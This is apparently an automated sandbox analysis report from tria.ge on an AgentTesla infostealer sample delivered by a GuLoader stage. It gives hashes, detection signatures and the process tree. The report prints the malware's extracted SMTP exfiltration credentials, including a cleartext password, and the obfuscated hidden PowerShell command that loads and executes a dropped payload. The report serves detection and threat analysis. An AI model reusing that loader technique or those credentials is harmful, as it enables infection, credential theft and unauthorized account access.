Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    154s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/03/2024, 02:11

General

  • Target

    Bibeskftigelserne221.exe

  • Size

    1.2MB

  • MD5

    792dec181c3f286826d04aecd6cf32f1

  • SHA1

    d71c41fd445053571453dd43f8071e058de19ced

  • SHA256

    ec9fe9526ec132e17c934f5b3993f164b8cb5ec15813171c04f63ff563ad4f1e

  • SHA512

    fddd91dc77476ba57be516a4a4893beadcb84cf7d916bc80fda92640ec8a5a6b3e3a3efba72f5d56b9a0af6bf2a8092d40131825ed2c10b99a1367e47c169748

  • SSDEEP

    24576:7BG3e6TOKsix+24/2LoxYHum/1DJQRzEWbo/bwo:dGe6TOiE202sxYOO10UDwo

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    smtp.gmail.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    hwuo jybd dtga lmyz

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Detect packed .NET executables. Mostly AgentTeslaV4. 2 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 2 IoCs
  • Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs
  • Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs
  • Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs
  • Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Bibeskftigelserne221.exe
    "C:\Users\Admin\AppData\Local\Temp\Bibeskftigelserne221.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5072
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -windowstyle hidden "$Coveter=Get-Content 'C:\Users\Admin\AppData\Roaming\Bilithon\benthoscope\Schizopod\Nonmakeup101.Pan55';$Paatalemyndighederne=$Coveter.SubString(54624,3);.$Paatalemyndighederne($Coveter)"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4532
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
        3⤵
          PID:3012
        • C:\Program Files (x86)\windows mail\wab.exe
          "C:\Program Files (x86)\windows mail\wab.exe"
          3⤵
          • Suspicious use of NtCreateThreadExHideFromDebugger
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1828
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4032 --field-trial-handle=2900,i,14549994492153927475,12895178890800740987,262144 --variations-seed-version /prefetch:8
      1⤵
        PID:3964

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gxrotjjk.uz3.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\Bilithon\benthoscope\Demoralizingly167.Len

        Filesize

        325KB

        MD5

        17afb85f7d98834a22aa2d79adcc4952

        SHA1

        e4d0af396242985d07bec411d80e6516161a283f

        SHA256

        6d1b4dff638e2368991cce0c1fa8a7023764807dd6d9b053589053f4ac6e8cd8

        SHA512

        ce847608470eb94614c0d6ae272be49f1653bab99127d7ee5ae22fb35c35f9f91be36bf44fe30ddb2bec8841c674da6794b0c3dd067b168a5bdd313308a8d57d

      • C:\Users\Admin\AppData\Roaming\Bilithon\benthoscope\Schizopod\Nonmakeup101.Pan55

        Filesize

        53KB

        MD5

        2e56e126a7f68c9dbb6167bfc1cd26c2

        SHA1

        e45b4e9dff74f0711968994253b8fcaf39a5f8e3

        SHA256

        b3fb58fdae2d31784f1b1c4f62b2c20a985789de7cb63b6e4748168aac4fb70a

        SHA512

        15b0861ae57b05cc8906d8706332797da2152d44f16ba4c89da37fc6ec5753d543e890d898ecda384bcf1cf18894291a94262959dd7f395649e220629a814e3d

      • memory/1828-51-0x00000000779A1000-0x0000000077AC1000-memory.dmp

        Filesize

        1.1MB

      • memory/1828-49-0x0000000001E60000-0x000000000352F000-memory.dmp

        Filesize

        22.8MB

      • memory/1828-70-0x00000000213E0000-0x00000000213F0000-memory.dmp

        Filesize

        64KB

      • memory/1828-69-0x0000000073DD0000-0x0000000074580000-memory.dmp

        Filesize

        7.7MB

      • memory/1828-67-0x0000000022300000-0x000000002230A000-memory.dmp

        Filesize

        40KB

      • memory/1828-66-0x0000000022400000-0x0000000022492000-memory.dmp

        Filesize

        584KB

      • memory/1828-64-0x0000000022360000-0x00000000223FC000-memory.dmp

        Filesize

        624KB

      • memory/1828-63-0x0000000021FE0000-0x0000000022030000-memory.dmp

        Filesize

        320KB

      • memory/1828-62-0x00000000213E0000-0x00000000213F0000-memory.dmp

        Filesize

        64KB

      • memory/1828-60-0x0000000073DD0000-0x0000000074580000-memory.dmp

        Filesize

        7.7MB

      • memory/1828-59-0x0000000000C00000-0x0000000000C44000-memory.dmp

        Filesize

        272KB

      • memory/1828-56-0x0000000000C00000-0x0000000001E54000-memory.dmp

        Filesize

        18.3MB

      • memory/1828-52-0x0000000001E60000-0x000000000352F000-memory.dmp

        Filesize

        22.8MB

      • memory/1828-50-0x0000000077A28000-0x0000000077A29000-memory.dmp

        Filesize

        4KB

      • memory/4532-30-0x0000000006CD0000-0x0000000006CEA000-memory.dmp

        Filesize

        104KB

      • memory/4532-32-0x0000000007FD0000-0x0000000008574000-memory.dmp

        Filesize

        5.6MB

      • memory/4532-35-0x0000000073DD0000-0x0000000074580000-memory.dmp

        Filesize

        7.7MB

      • memory/4532-38-0x0000000002D20000-0x0000000002D30000-memory.dmp

        Filesize

        64KB

      • memory/4532-37-0x0000000002D20000-0x0000000002D30000-memory.dmp

        Filesize

        64KB

      • memory/4532-9-0x0000000002D20000-0x0000000002D30000-memory.dmp

        Filesize

        64KB

      • memory/4532-43-0x0000000009280000-0x000000000A94F000-memory.dmp

        Filesize

        22.8MB

      • memory/4532-12-0x00000000057C0000-0x0000000005DE8000-memory.dmp

        Filesize

        6.2MB

      • memory/4532-41-0x0000000007D00000-0x0000000007D04000-memory.dmp

        Filesize

        16KB

      • memory/4532-44-0x0000000009280000-0x000000000A94F000-memory.dmp

        Filesize

        22.8MB

      • memory/4532-45-0x0000000002D20000-0x0000000002D30000-memory.dmp

        Filesize

        64KB

      • memory/4532-46-0x0000000002D20000-0x0000000002D30000-memory.dmp

        Filesize

        64KB

      • memory/4532-47-0x0000000009280000-0x000000000A94F000-memory.dmp

        Filesize

        22.8MB

      • memory/4532-48-0x00000000779A1000-0x0000000077AC1000-memory.dmp

        Filesize

        1.1MB

      • memory/4532-10-0x0000000003140000-0x0000000003176000-memory.dmp

        Filesize

        216KB

      • memory/4532-34-0x0000000008C00000-0x000000000927A000-memory.dmp

        Filesize

        6.5MB

      • memory/4532-8-0x0000000073DD0000-0x0000000074580000-memory.dmp

        Filesize

        7.7MB

      • memory/4532-31-0x0000000006D20000-0x0000000006D42000-memory.dmp

        Filesize

        136KB

      • memory/4532-40-0x0000000002D20000-0x0000000002D30000-memory.dmp

        Filesize

        64KB

      • memory/4532-58-0x0000000073DD0000-0x0000000074580000-memory.dmp

        Filesize

        7.7MB

      • memory/4532-29-0x0000000007980000-0x0000000007A16000-memory.dmp

        Filesize

        600KB

      • memory/4532-28-0x0000000002D20000-0x0000000002D30000-memory.dmp

        Filesize

        64KB

      • memory/4532-61-0x0000000009280000-0x000000000A94F000-memory.dmp

        Filesize

        22.8MB

      • memory/4532-27-0x0000000006810000-0x000000000685C000-memory.dmp

        Filesize

        304KB

      • memory/4532-26-0x0000000006740000-0x000000000675E000-memory.dmp

        Filesize

        120KB

      • memory/4532-21-0x0000000006180000-0x00000000064D4000-memory.dmp

        Filesize

        3.3MB

      • memory/4532-11-0x0000000002D20000-0x0000000002D30000-memory.dmp

        Filesize

        64KB

      • memory/4532-15-0x0000000006110000-0x0000000006176000-memory.dmp

        Filesize

        408KB

      • memory/4532-14-0x00000000060A0000-0x0000000006106000-memory.dmp

        Filesize

        408KB

      • memory/4532-13-0x0000000005660000-0x0000000005682000-memory.dmp

        Filesize

        136KB